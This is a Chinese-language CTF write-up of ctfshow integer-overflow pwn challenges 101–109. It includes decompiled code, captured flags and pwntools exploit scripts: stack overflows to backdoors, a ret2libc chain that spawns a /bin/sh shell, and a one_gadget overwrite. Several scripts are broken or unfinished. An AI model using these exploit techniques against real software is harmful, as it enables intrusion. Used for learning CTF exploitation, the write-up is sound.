ctfshow-做题笔记-整数安全

1
2
3
4
5
6
7
8
9
10
11
整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0
无符号数取值范围为非负数,常见各类型占用字节数如下:
类型 占用字节数 取值范围
Int 4 -2147483648~2147483647 32

Short int 2 -32768~32767
Long int 4 -2147483648~2147483647
Unsigned int 4 0~4294967295
Unsigned short int 2 0~65535
Unsigned short int 4 0~4294967295
对于unsigned short int类型的两个变量var1、var2假定取值var1 = 1,var2 = 65537

pwn-101

2024.10.14

日常检查一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
llq@llq-virtual-machine:~$ chmod +x pwn
llq@llq-virtual-machine:~$ ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter two integers:

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
unsigned int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
v5 = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( __isoc99_scanf("%d %d", &v4, &v5) == 2 )
{
if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, v5);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}
//可以看见gift函数
int gift()
{
puts("This is the first question of this type");
puts("Here is you want:");
return system("cat /ctfshow_flag");
}

这里只要执行到gift函数就行了

问了一手gpt

image-20241014151805593

就可以了

这里我直接没有写脚本

直接nc就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28106
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter two integers: -2147483648 2147483647
This is the first question of this type
Here is you want:
ctfshow{f360e2b2-dc8e-456d-b16b-20c17836b2de}

pwn-102

2024.10.14

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
llq@llq-virtual-machine:~$ chmod +x pwn
llq@llq-virtual-machine:~$ ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter an unsigned integer:

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0;
printf("Enter an unsigned integer: ");
__isoc99_scanf("%u", &v4);
if ( v4 == -1 )
gift();
else
printf("Number = %u\n", v4);
return 0;
}

一个思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28252
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter an unsigned integer: -1
This is the second question of this type
Here is you want:
ctfshow{6b24618f-2c28-49bc-ab1d-683d46258053}
^C
llq@llq-virtual-machine:~$

没啥说的

pwn-103

2024.10.14

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
llq@llq-virtual-machine:~$ chmod +x pwn
llq@llq-virtual-machine:~$ ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter the length of data (up to 80):

丢进ida里面看看

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 ctfshow()
{
int v1; // [rsp+4h] [rbp-6Ch] BYREF
void *src; // [rsp+8h] [rbp-68h]
char dest[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = 0;
src = 0LL;
printf("Enter the length of data (up to 80): ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 80 )
{
printf("Enter the data: ");
__isoc99_scanf(" %[^\n]", dest);
memcpy(dest, src, v1);
if ( dest > 0x1BF52 )
gift();
}
else
{
puts("Invalid input! No cookie for you!");
}
return __readfsqword(0x28u) ^ v4;
}
1
void *memcpy(void *dest, const void *src, size_t n);

**dest**:目标内存地址(目的地),将数据复制到此位置。

**src**:源内存地址(数据来源),数据从这里复制。

**n**:需要复制的字节数

满足条件则执行gift函数

我们看一下src在栈上的位置

1
2
3
-000000000000006C v1              dd ?
-0000000000000068 src dq ? ; offset
-0000000000000060 dest

意思是让v1输入的时候利用整数溢出覆盖src吗??

我先ida动调一手看一下

啊?没太看出啥!!动调不起来

问了一手gpt

image-20241014170737673

难怪调不起来,这里

看了一手wp说是chuan入两个0就行了

image-20241014171616933

ok,GPT解释一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
llq@llq-virtual-machine:~$ nc pwn.challenge.ctf.show 28293
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter the length of data (up to 80): 0
Enter the data: 0
This is the third question of this type
Here is you want:
ctfshow{29296e7d-6db8-4c69-be6b-2d18ee5351c3}
^C
llq@llq-virtual-machine:~$

pwn-104

2024.10.14

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
llq@llq-virtual-machine:~$ chmod +x pwn
llq@llq-virtual-machine:~$ ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : First this way, then that !
* *************************************
How long are you?
-1
Who are you?
aa
llq@llq-virtual-machine:~$

ida里面看看

1
2
3
4
5
6
7
8
9
10
11
ssize_t ctfshow()
{
char buf[10]; // [rsp+2h] [rbp-Eh] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

LODWORD(nbytes) = 0;
puts("How long are you?");
__isoc99_scanf("%d", &nbytes);
puts("Who are you?");
return read(0, buf, nbytes);
}

emm应该是一个整数溢出+一个后门

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=remote('pwn.challenge.ctf.show',28152)


p.sendlineafter('How long are you?',b'255')

payload=b'a'*(0xe+8)+p64(0x00000000040078D)

p.sendlineafter('Who are you?',payload)

p.interactive()

看完其实也不是

就是前面规定一下最大长度

就可以了

1
>ssize_t read(int fd, void *buf, size_t count);

**fd**:文件描述符,标识要读取的文件或输入流。

**buf**:指向一个缓冲区的指针,用于存储读取的数据。

**count**:要读取的最大字节数。

pwn-105

2024.10.14

日常检查

1
2
3
4
5
6
7
8
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

日常检查一下

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1024]; // [esp+0h] [ebp-408h] BYREF
int *p_argc; // [esp+400h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("[+] Check your permissions:");
read(0, buf, 0x400u);
ctfshow(buf);
puts("wtf");
return 0;
}

看着就是日常的后门唉

但是看着buf的长度不太够

1
2
3
4
0000000000000408
-0000000000000408 buf db ?
-0000000000000407 db ? ; undefined
-0000000000000406 db ? ; undefined

仔细点开看一下

其实还有个ctfshow函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}

这里有个dest,用这的栈进行溢出

关键函数:

1
2
3
unsigned __int8 v3; // [esp+Fh] [ebp-9h]  
v3 = strlen(s);
//unsigned __int8 是一个无符号的 8 位整数,范围为 0~255

整数截断漏洞(Integer Truncation Vulnerability):

  • strlen 的返回值是 **size_t**,它在 32 位系统中是 4 字节,在 64 位系统中是 8 字节。

  • 然而,v3 是 **unsigned __int8**,只能存储 0~255 范围内的值。

  • 如果字符串长度超过 255,返回的值会发生截断,只保留最低 8 位。

  • 例如:如果字符串长度为 300,存储在 v3 中的结果会是 300 % 256 = 44

这里要绕过一下这个if语句,然后让V3等于4就行了

256+4=260(0x104)

所以

payload=b’a’*(0x11+4)+p32(backdoor)

payload+= payload.ljust(0x104,’a’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
#context.log_level ="debug"
p=remote('pwn.challenge.ctf.show',28195)
#p=process('./pwn')
elf=ELF('./pwn')
backdoor=0x804870F
#backdoor=elf.sym['success']

payload=b'a'*(0x11+4)+p32(backdoor)
payload= payload.ljust(0x104,b'a')


#gdb.attach(p)
#pause()
#p.sendline(payload)
p.sendlineafter('permissions:\n',payload)
#p.recv()
p.interactive()

这里说一下我的踩坑点

后门函数地址有一个栈对齐的问题,可以自己找,也可以直接用elf函数调用。

pwn-106

日常检查

1
2
3
4
5
6
7
8
9
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
llq@llq-virtual-machine:~$

就正常的保护

ida打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
int v6; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("1.login");
puts("2.quit");
printf("Your choice:");
__isoc99_scanf("%d", &v6, v4, v5);
if ( v6 == 1 )
{
login(p_argc);
}
else
{
if ( v6 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

怎么说呢?看一下还是有后门的。

考点感觉跟上面那道题一样,就加了几个绕过吗???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
#context.log_level ="debug"
p=remote('pwn.challenge.ctf.show',28266)
#p=process('./pwn')
elf=ELF('./pwn')
#backdoor=0x804870F
backdoor=elf.sym['fffflag']

payload=b'a'*(0x14+4)+p32(backdoor)
payload= payload.ljust(0x104,b'a')


#gdb.attach(p)
#pause()
#p.sendline(payload)
p.sendlineafter('Your choice:',b'1')
p.sendlineafter('Please input your username:',b'yt')
p.recvuntil('Please input your passwd:')

p.sendline(payload)


p.interactive()

pwn-107

日常检查

1
2
3
4
5
6
7
8
9
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
llq@llq-virtual-machine:~$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
getch(nptr, 4u);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
getch(nptr, v2);
return printf("You said: %s\n", nptr);
}

这里不知道这个getch函数是干啥的,so查了一手,我的理解是可以理解为read函数

输入的nptr为buf,而后面的v2则是我们通过整数溢出进行泄露libc基址的条件

1
2
3
llq@llq-virtual-machine:~$ ./pwn
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

接下了就是我最喜欢的套板子了!image-20241014212325142

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.log_level ="debug"
#context.arch = 'i386'
#context.os='linux'


#u32(p.recvuntil("\xf7")[-4:])
#u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))


#p=remote('pwn.challenge.ctf.show',28266)
p=process('./pwn')
elf=ELF('./pwn')
#backdoor=0x804870F

printf_got=elf.sym['printf']
printf_plt=elf.sym['printf']
main_addr=0x804852F


payload = b"A"*(0x2c+4)+ p32(puts_plt) + p32(main_addr) + p32(puts_got)




p.sendlineafter('How many bytes do you want me to read? ',b'-1')

p.recvuntil('bytes of data!\n')

p.sendline(payload)

printf_addr = u32(p.recvuntil("\xf7")[-4:])

p.recv()
p.interactive()

狗屎,本地打不通不到是为什么??

想起之前一个师傅说的本地的地址随机化没关

但是最后用LibcSearcher找的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level ="debug"
context.arch = 'i386'
context.os='linux'

from LibcSearcher import *
p=remote('pwn.challenge.ctf.show',28244)
#p=process('./pwn')
elf=ELF('./pwn')

#backdoor=0x804870F

printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
main_addr=elf.sym['main']

payload = b"A"*(0x2c+4)+ p32(printf_plt) + p32(main_addr) + p32(printf_got)


p.sendlineafter('How many bytes do you want me to read? ',b'-1')

p.recvuntil('bytes of data!\n')

p.sendline(payload)

printf_addr = u32(p.recvuntil("\xf7")[-4:])
#printf_addr = u32(p.recv(4))
print(hex(printf_addr))


libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr - libc.dump("printf")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
'''
libc_base = printf_addr - libc.sym["printf"]
print(hex(libc_base))
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()
'''

#attack2
p.sendlineafter('How many bytes do you want me to read? ',b'-1')

p.recvuntil('\n')

payload =b'A'*(0x2c+4)+p32(system_addr)+p32(main_addr)+p32(bin_sh)
p.sendline(payload)

p.interactive()

pwn-108

2024.10.15

日常检查一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
llq@llq-virtual-machine:~$ chmod +x pwn
llq@llq-virtual-machine:~$ ./pwn
_____ _ _ _ _____
/ ____| | | | (_) / ____|
| (___ | |__ ___ ___ | |_ _ _ __ __ _ | | __ __ _ _ __ ___ ___ ___
\___ \| '_ \ / _ \ / _ \| __| | '_ \ / _` | | | |_ |/ _` | '_ ` _ \ / _ \/ __|
____) | | | | (_) | (_) | |_| | | | | (_| | | |__| | (_| | | | | | | __/\__ \
|_____/|_| |_|\___/ \___/ \__|_|_| |_|\__, | \_____|\__,_|_| |_| |_|\___||___/
__/ |
|___/
Free shooting games! Three bullets available!
I placed the target near: 0x7ffff7c80e50
shoot!shoot!
ok
biang!
ok
biang!

全开不到是干啥的

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
exit(1);
puts("bye~");
return 0LL;
}

这里我先看了一下这个泄露puts的真实地址,也就是知道了基址

1
2
3
4
5
6
7
from pwn import *

p=process('./pwn')

p.recvuntil('0x')
puts_addr= int(p.recv(12),16)
print(hex(puts_addr))

但是canary是开着的,打不了常规的ret2libc

瞅一眼wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
om pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28307)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8
sss = str(strlen)
io.sendline(sss)
one_gadget = libc_base + 0xe54fe
for _ in range(3):
io.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8
io.interactive()

先放着!

pwn-109

日常检查

1
2
3
4
5
6
7
8
9
10
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
llq@llq-virtual-machine:~$

ida里面看看

1
2
3
4
5
ssize_t __cdecl sub_8A4(void *buf, size_t nbytes)
{
printf("%x\n", buf);
return read(0, buf, nbytes);
}

感觉就是libc泄露,NX是关的不知道能不能写shellcode

1
2
3
4
5
6
7
8
9
10
from pwn import *

p=process('./pwn')



p.sendlineafter('Quit!!!\n',b'1')
p.recvuntil('\n')
puts_addr= int(io.recv(12),16)
pirnt(hex(puts_addr))

pwn-110